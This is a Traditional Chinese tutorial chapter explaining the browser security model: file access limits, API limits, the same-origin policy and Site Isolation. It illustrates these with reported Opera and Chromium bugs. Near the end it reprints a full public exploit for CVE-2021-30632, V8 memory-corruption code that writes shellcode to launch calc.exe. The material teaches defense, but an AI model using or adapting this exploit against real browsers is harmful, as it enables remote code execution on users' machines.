跳至主要内容

瀏覽器的安全模型

在談網頁前端的資安議題時,我們必須先對網頁前端的核心有個最基礎的認識。

網頁前端最大的不同,就在於程式碼是跑在瀏覽器上面。是瀏覽器負責 render 你的 HTML,是瀏覽器負責解析你的 CSS 並且繪製出來,也是瀏覽器負責執行頁面上的 JavaScript 程式碼。

以網頁前端來說,它的執行環境就是瀏覽器。

以下圖為例,最外層的一圈黑色的是作業系統,而兩個綠色的應用程式是跑在作業系統上面,右邊的代表的是瀏覽器,而網頁前端又是跑在瀏覽器上面,越內層的限制理所當然也越多:

必須記住這點,才能知道為什麼有些事情網頁前端做不到,不是我不想做,而是瀏覽器不讓我做。舉例來說,後端伺服器可以輕鬆執行檔案讀寫的操作,但是網頁前端卻不一定做得到,這是為什麼?因為瀏覽器不讓我們做。

為什麼我看別人寫後端都可以__(請自行填入),但是我在前端的時候好像沒有查到做法?這也很有可能是因為瀏覽器不讓你這樣做。

用一句話總結就是:

瀏覽器不給你的,你拿不到,拿不到就是拿不到

那到底瀏覽器做了哪些安全限制?它到底限制了哪些東西?以下舉幾個例子。

禁止主動讀寫本機的檔案

以後端來說,它的程式碼是直接跑在作業系統上面,等於說就是一個一般的應用程式,如果沒有特別限制權限的話,基本上想幹嘛就幹嘛,整台機器都是它的遊樂場。

但前端的限制可就多了,例如說不能「主動」去讀寫電腦裡面的檔案。先來講怎樣是可以的,可以透過 <input type=file> 讓使用者選擇檔案,選完以後用 FileReader 把檔案內容讀出來,像是這樣:

<input type="file" onchange="show(this)">

<script>
function show(input) {
const reader = new FileReader();
reader.onload = (event) => {
alert(event.target.result);
};
reader.readAsText(input.files[0]);

}
</script>

但是沒辦法直接用 fetch('file:///data/index.html') 之類的操作去讀取檔案,如果這樣做了,只會在 console 裡面看見錯誤:

Not allowed to load local resource: file:///data/index.html

就算用 window.open('file:///data/index.html') 也一樣,都會看到同樣的錯誤。

瀏覽器之所以會有限制,絕對都是有原因的。如果可以讓前端網頁直接主動讀取檔案,會發生什麼事?我就可以直接讀取你的 /etc/passwd,讀取你的 SSH key,讀你的設定檔跟各種含有敏感資訊的檔案,甚至想辦法在你電腦裡面找到加密貨幣錢包的備份助記詞,這問題可就大了,跟被木馬軟體入侵差不多。

所以,禁止 JavaScript 主動讀取檔案是非常合理的事情,否則只要開個網頁,所有的檔案內容就被看光光了,會有極大的資安問題。

而這種事情其實以前曾經發生過,讓我們來看個案例。

在 2021 年時,Renwa 向 Opera 回報的一個漏洞:Bug Bounty Guest Post: Local File Read via Stored XSS in The Opera Browser,就正好是利用瀏覽器的漏洞去讀取檔案。

Opera 是以 Chromium 為基礎打造的瀏覽器,而其中有一個「Opera Pinboards」的功能,可以建立一些筆記然後分享給其他使用者,而筆記頁面的網址是:opera:pinboards,是屬於特殊的協定,通常會給予一些特別的權限。

在建立筆記的時候,可以包含一個連結,例如說:https://blog.huli.tw,而 Renwa 發現了除了可以使用正常的連結以外,也可以使用 javascript:alert(1) 這種類型的連結去執行程式碼,因此就可以得到一個 opera:pinboards 底下的 XSS 漏洞!

前面有提過在 opera: 底下會有一些特殊的權限,例如說可以開啟 file:// 的網頁,還可以幫網頁截圖並得到截圖的結果,因此就可以利用剛剛講的 XSS 去開啟本機的檔案並且截圖,傳到攻擊者的伺服器,達成偷取檔案的目的。

而這個 bug 在回報後的一天之內就被修掉了,回報者也得到獎金 4000 美金。

禁止呼叫系統 API

一般的應用程式可以做很多事情,例如說更改系統設定或是網路設定等等,可以透過系統所提供的 API 進行很多操作,但是這些 JavaScript 都做不到。

或是講得更精確一點,其實不是 JavaScript 本身做不到,它只是個程式語言而已,而是「瀏覽器沒有提供給網頁前端相對應的 API,所以做不到」。

當我們在網頁前端執行 JavaScript 時,我們只能使用瀏覽器提供給我們的東西,例如說我們可以用 fetch() 去發出一個 request,可以用 setTimeout 設定一個計時器等等,這些都是瀏覽器所提供的介面,讓我們可以去使用。

如果想要使用系統的 API,除非瀏覽器也有提供相對應的介面,否則網頁上的 JavaScript 是無法使用那些功能的。

舉例來說,瀏覽器有提供與藍芽設備溝通的 API:Web Bluetooth API,因此在網頁上的 JavaScript 其實可以做出跟藍芽有關的應用;而另一個 MediaDevices API 則是讓 JavaScript 可以取得像是麥克風與攝影機等等的資料,所以也可以做出相關應用。

而瀏覽器在提供這些 API 的時候,同時也會實作權限管理的機制,通常會跳出通知要求使用者主動同意並允許該權限,才會讓網頁能夠拿得到東西。

禁止存取其他網頁的內容

這可以算是瀏覽器最重要的一個安全假設了,一個網頁永遠不該有權限存取到其他網頁的內容,這點應該也很好理解,如果違反這點的話,就可以直接從 blog.huli.tw 去讀取在 mail.google.com 的信件了,這顯然不安全嘛。

因此,每個網頁都只有針對自己的權限,可以改自己的 HTML,執行想要的 JavaScript 程式碼,但不該拿到其他網頁的資料,這就叫做同源政策(same-origin policy,有時被簡稱為 SOP)。

而且這個「資料」其實不只有「頁面上的內容」而已,甚至是連「別的頁面的網址」都拿不到。

舉例來說,假設在 github.com 執行了以下的程式碼:

var win = window.open('https://blog.huli.tw')
setTimeout(() => {
console.log(win.location.href)
}, 3000)

會看到下圖的錯誤訊息:

上面寫著:

Uncaught DOMException: Blocked a frame with origin "https://github.com" from accessing a cross-origin frame.

意思就是你沒辦法存取其他頁面上的東西,包括網址也不行。

雖然說這點看起來非常基本而且也很必要,但其實瀏覽器要實作出這個功能並沒有這麼容易。瀏覽器也是經歷了許多次的攻擊,加上很多防禦措施以及調整架構以後,才讓自己愈來愈安全,愈能符合這個安全的要求。

舉例來說,2018 年的 1 月,Google 的 Project Zeror 對外發表了歷史級的重大漏洞:Meltdown 與 Spectre,可以透過 CPU 的缺陷來讀到同一個 process 的資料。

而 Chrome 瀏覽器就因應了這個漏洞,將自己的架構調整得更安全,確保不同 的網頁無論是使用什麼方式載入(包含圖片以及 iframe 等等),都會使用不同的 process 去處理,這一系列的安全措施被稱為 Site Isolation,在 Chromium 的網頁上有更多詳細的解釋,之後的文章中也會再次提到。

針對「沒辦法存取其他頁面上的東西」的這點,我們來看一個繞過的範例。

在 2022 年時,joaxcar 向 Chromium 回報了一個漏洞:Issue 1359122: Security: SOP bypass leaks navigation history of iframe from other subdomain if location changed to about:blank,可以利用一個 iframe 的漏洞讀到 cross-origin 的網址。

假設現在網頁是 a.example.com,裡面有一個 iframe 的網址是 b.example.com,用 frames[0].location = 'about:blank' 將 iframe 重新導向之後,iframe 就會變得跟 a.example.com same-origin,此時去讀取 iframe 的歷史紀錄:frames[0].navigation.entries(),就可以從裡面拿到原本 b.example.com 的網址。

而這是不應該發生的,當 iframe 重新導向到其他網址之後,navigation.entries() 就應該清空才對,因此這是一個 bug。

這就是一個繞過同源政策的案例,雖然只能讀取網址,但依然是一個資安的漏洞,拿到了 2000 美金的賞金。

小結

這篇文章的重點就只有一個,那就是「瀏覽器不給你的,你拿不到就是拿不到」,這是網頁前端跟其他執行環境很不同的一點。反之,如果瀏覽器不給你的你卻拿到了,那就代表你找到了瀏覽器的漏洞,可以去回報拿獎金。

那最嚴重的瀏覽器漏洞是什麼?就是可以讓攻擊者突破瀏覽器的限制,去做出違反瀏覽器安全假設的事情。

比如說剛剛就介紹過的 SOP bypass,可以違反同源政策,去讀取到其他網頁的資料,雖然說剛剛介紹的只能讀取到 URL,但有些更厲害的甚至可以讀取到內容。例如說你打開 https://blog.huli.tw,看了我的部落格文章,結果我的網站背後偷偷執行一段 JavaScript,利用了 SOP bypass 的漏洞去讀取你在 https://mail.google.com 上的所有信件內容。

聽起來很恐怖對吧?但有更恐怖的。

最嚴重的一種讓攻擊者可以透過 JavaScript 去利用瀏覽器的漏洞,在電腦上面執行任意指令,這種漏洞種類叫做 RCE(Remote Code Execution),遠端程式碼執行。

一樣舉個例子,假設你點開我的部落格,看了一些文章關掉,但此時我已經可以對你的電腦下指令了,可以把你電腦裡的資料全都偷出來,或是偷偷植入惡意軟體之類的。而以往就曾經有過不少次這種案例,每隔一陣子瀏覽器就會爆出這種最嚴重的漏洞,對我們這些一般使用者而言,就只能盡快更新瀏覽器,讓自己少暴露在危險當中。

在 2021 年 9 月的時候有爆出一個編號為 CVE-2021-30632 的漏洞,就是我剛剛講的 RCE,只要用 Chrome 瀏覽器(v93 版以前)打開一個網頁,攻擊者就可以直接入侵你的電腦並執行指令。

你會不會好奇通常這種攻擊的 JavaScript 程式碼都是長什麼樣子?都是利用了哪些功能,最後居然可以透過瀏覽器執行任意程式碼?

底下是 CVE-2021-30632 的其中一個 exploit,來源為:https://github.com/CrackerCat/CVE-2021-30632/blob/main/CVE-2021-30632.html

<!DOCTYPE html>
<html>
<head>
<title></title>
</head>
<body>
<script type="text/javascript">

function gc() {
for(var i = 0;i < ((1024*1024)); i++) {
new String();
}
}

var code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);
var module = new WebAssembly.Module(code);
var instance = new WebAssembly.Instance(module);
var main = instance.exports.main;

function foo(y) {
x = y;
}

function oobRead() {
//addrOf b[0] and addrOf writeArr::elements
return [x[20],x[24]];
}

function oobWrite(addr) {
x[24] = addr;
}

var arr0 = new Array(10); arr0.fill(1);arr0.a = 1;
var arr1 = new Array(10); arr1.fill(2);arr1.a = 1;
var arr2 = new Array(10); arr2.fill(3); arr2.a = 1;
var x = arr0;

gc();gc();

var arr = new Array(30); arr.fill(4); arr.a = 1;
var b = new Array(1); b.fill(1);
var writeArr = [1.1];

for (let i = 0; i < 19321; i++) {
if (i == 19319) arr2[0] = 1.1;
foo(arr1);
}

x[0] = 1.1;

for (let i = 0; i < 20000; i++) {
oobRead();
}

for (let i = 0; i < 20000; i++) oobWrite(1.1);
foo(arr);

var view = new ArrayBuffer(24);
var dblArr = new Float64Array(view);
var intView = new Int32Array(view);
var bigIntView = new BigInt64Array(view);
b[0] = instance;
var addrs = oobRead();

function ftoi32(f) {
dblArr[0] = f;
return [intView[0], intView[1]];
}

function i32tof(i1, i2) {
intView[0] = i1;
intView[1] = i2;
return dblArr[0];
}

function itof(i) {
bigIntView = BigInt(i);
return dblArr[0];
}

function ftoi(f) {
dblArr[0] = f;
return bigIntView[0];
}


dblArr[0] = addrs[0];
dblArr[1] = addrs[1];

function addrOf(obj) {
b[0] = obj;
let addrs = oobRead();
dblArr[0] = addrs[0];
return intView[1];
}

function arbRead(addr) {
[elements, addr1] = ftoi32(addrs[1]);
oobWrite(i32tof(addr,addr1));
return writeArr[0];
}

function arbRead1(addr) {
[addr1, elements] = ftoi32(addrs[1]);
oobWrite(i32tof(addr1, addr));
return writeArr[0];
}

function writeShellCode(rwxAddr, shellArr) {
var intArr = new Uint8Array(400);
var intArrAddr = addrOf(intArr);
var intBackingStore = ftoi(arbRead(intArrAddr + 0x20));
[elements, addr1] = ftoi32(addrs[1]);
oobWrite(i32tof(intArrAddr + 0x20, addr1));
writeArr[0] = rwxAddr;
for (let i = 0; i < shellArr.length; i++) {
intArr[i] = shellArr[i];
}
}

function writeShellCode1(rwxAddr, shellArr) {
var intArr = new Uint8Array(400);
var intArrAddr = addrOf(intArr);
var intBackingStore = ftoi(arbRead(intArrAddr + 0x20));

[addr1, elements] = ftoi32(addrs[1]);
oobWrite(i32tof(addr1, intArrAddr + 0x20));
writeArr[0] = rwxAddr;
for (let i = 0; i < shellArr.length; i++) {
intArr[i] = shellArr[i];
}
}

var other_method = false;
var instanceAddr = addrOf(instance);
var elementsAddr = ftoi32(addrs[1])[0];

if((elementsAddr & 0xFFFF) == 0x222D) {
other_method = true;
elementsAddr = ftoi32(addrs[1])[1];
}

var shellCode = [0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51,
0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52, 0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52,
0x20, 0x48, 0x8B, 0x72, 0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0xE2, 0xED,
0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B, 0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88,
0x00, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41, 0x8B, 0x34, 0x88, 0x48,
0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1,
0x38, 0xE0, 0x75, 0xF1, 0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44, 0x8B, 0x40, 0x1C, 0x49,
0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01, 0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A,
0x41, 0x58, 0x41, 0x59, 0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48, 0xBA, 0x01, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D, 0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B,
0x6F, 0x87, 0xFF, 0xD5, 0xBB, 0xF0, 0xB5, 0xA2, 0x56, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0, 0x75, 0x05, 0xBB, 0x47,
0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89, 0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x2E,
0x65, 0x78, 0x65, 0x00];

var rwxAddr;
if(other_method == false) {
rwxAddr = arbRead(instanceAddr + 0x60);
writeShellCode(rwxAddr, shellCode);
}
else {
rwxAddr = arbRead1(instanceAddr + 0x60);
writeShellCode1(rwxAddr, shellCode);
}

main();

</script>
</body>
</html>

因為漏洞是出現在 V8 裡面,所以可以看到上面的程式碼做了許多「你也看不懂在幹嘛」的操作,而這些操作通常是為了要滿足一些條件,才能讓 V8 發生問題,但詳細的解釋已經脫離了我的守備範圍,有興趣的可以看 GitHub 的資安團隊寫的詳細分析:Chrome in-the-wild bug analysis: CVE-2021-30632

話說,有些對於「JavaScript 的限制」不太清楚的工程師們,常常會想要用 JavaScript 做出一些根本做不到的事情。

在瞭解了瀏覽器的基本安全模型之後,對於這些做不到的功能,你就可以勇敢地對 PM 說出:「對,這功能網頁前端做不到,因為瀏覽器不讓我用這功能」,而不是四處尋找該怎麼呼叫 API,因為根本沒有這些 API 的存在。